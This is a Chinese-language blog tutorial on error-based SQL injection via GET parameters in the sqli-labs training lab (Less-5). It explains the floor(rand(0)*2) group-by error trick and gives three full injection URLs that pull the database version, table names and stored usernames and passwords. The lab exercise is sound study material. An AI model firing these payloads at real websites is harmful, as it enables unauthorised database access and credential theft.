当前位置:网站首页>SQL注入(6)
SQL注入(6)
2022-08-02 03:25:00 【CHIAJ176】
GET报错注入
报错注入介绍
报错注入形式上是两个嵌套的查询,即select…(select…),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
gourp by clause分组函数,按照查询结果分组
通过报错来显示具体的信息
查询的时候如果使用rand()的话,该值会被计算多次。在使用group
by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的只是定性的,为011011
python select count(*) from table group by floor(rand(0)*2);
GET单引号报错注入
Less 5:
获取数据库
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息
http://localhost/sqli-lab/Less-5/index.php?id= 0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
GET双引号报错注入
上面的单引号变成双引号,其它的没什么改变
Sqlmap安全测试
略!!!
边栏推荐
- Shuriken: 1 vulnhub walkthrough
- Introduction to PHP (self-study notes)
- 14.JS语句和注释,变量和数据类型
- (1) the print () function, escape character, binary and character encoding, variables, data type, the input () function, operator
- 12. What is JS
- hackmyvm: kitty walkthrough
- Batch replace file fonts, Simplified -> Traditional
- Scrapy crawler encounters redirection 301/302 problem solution
- PHP realizes the automatic reverse search prompt of the search box
- (3)Thinkphp6数据库
猜你喜欢
4. The form with the input
Several interesting ways to open PHP: from basic to perverted
The roll call system and array elements find maximum and minimum values for sorting of objects
Orasi: 1 vulnhub walkthrough
GreenOptic: 1 vulnhub walkthrough
hackmyvm: kitty walkthrough
hackmyvm: again walkthrough
4.表单与输入
Phpstudy安装Thinkphp6(问题+解决)
uniapp | Compilation error after updating with npm update
随机推荐
Masashi: 1 vulnhub walkthrough
hackmyvm-hopper预排
[phpunit/php-timer] A timer for code execution time
hackmyvm-random walkthrough
Scrapy爬虫遇见重定向301/302问题解决方法
JS objects, functions and scopes
CTF入门笔记之ping
hackmyvm-random walkthrough
By figure, a (complete code at the end)
hackmyvm: again walkthrough
(5) 模块与包、编码格式、文件操作、目录操作
Phonebook
Using PHPMailer send mail
VIKINGS: 1 vulnhub walkthrough
DNS详解
(3)Thinkphp6数据库
hackmyvm-bunny walkthrough
12. What is JS
[league/climate] A robust command-line function manipulation library
Add a full image watermark to an image in PHP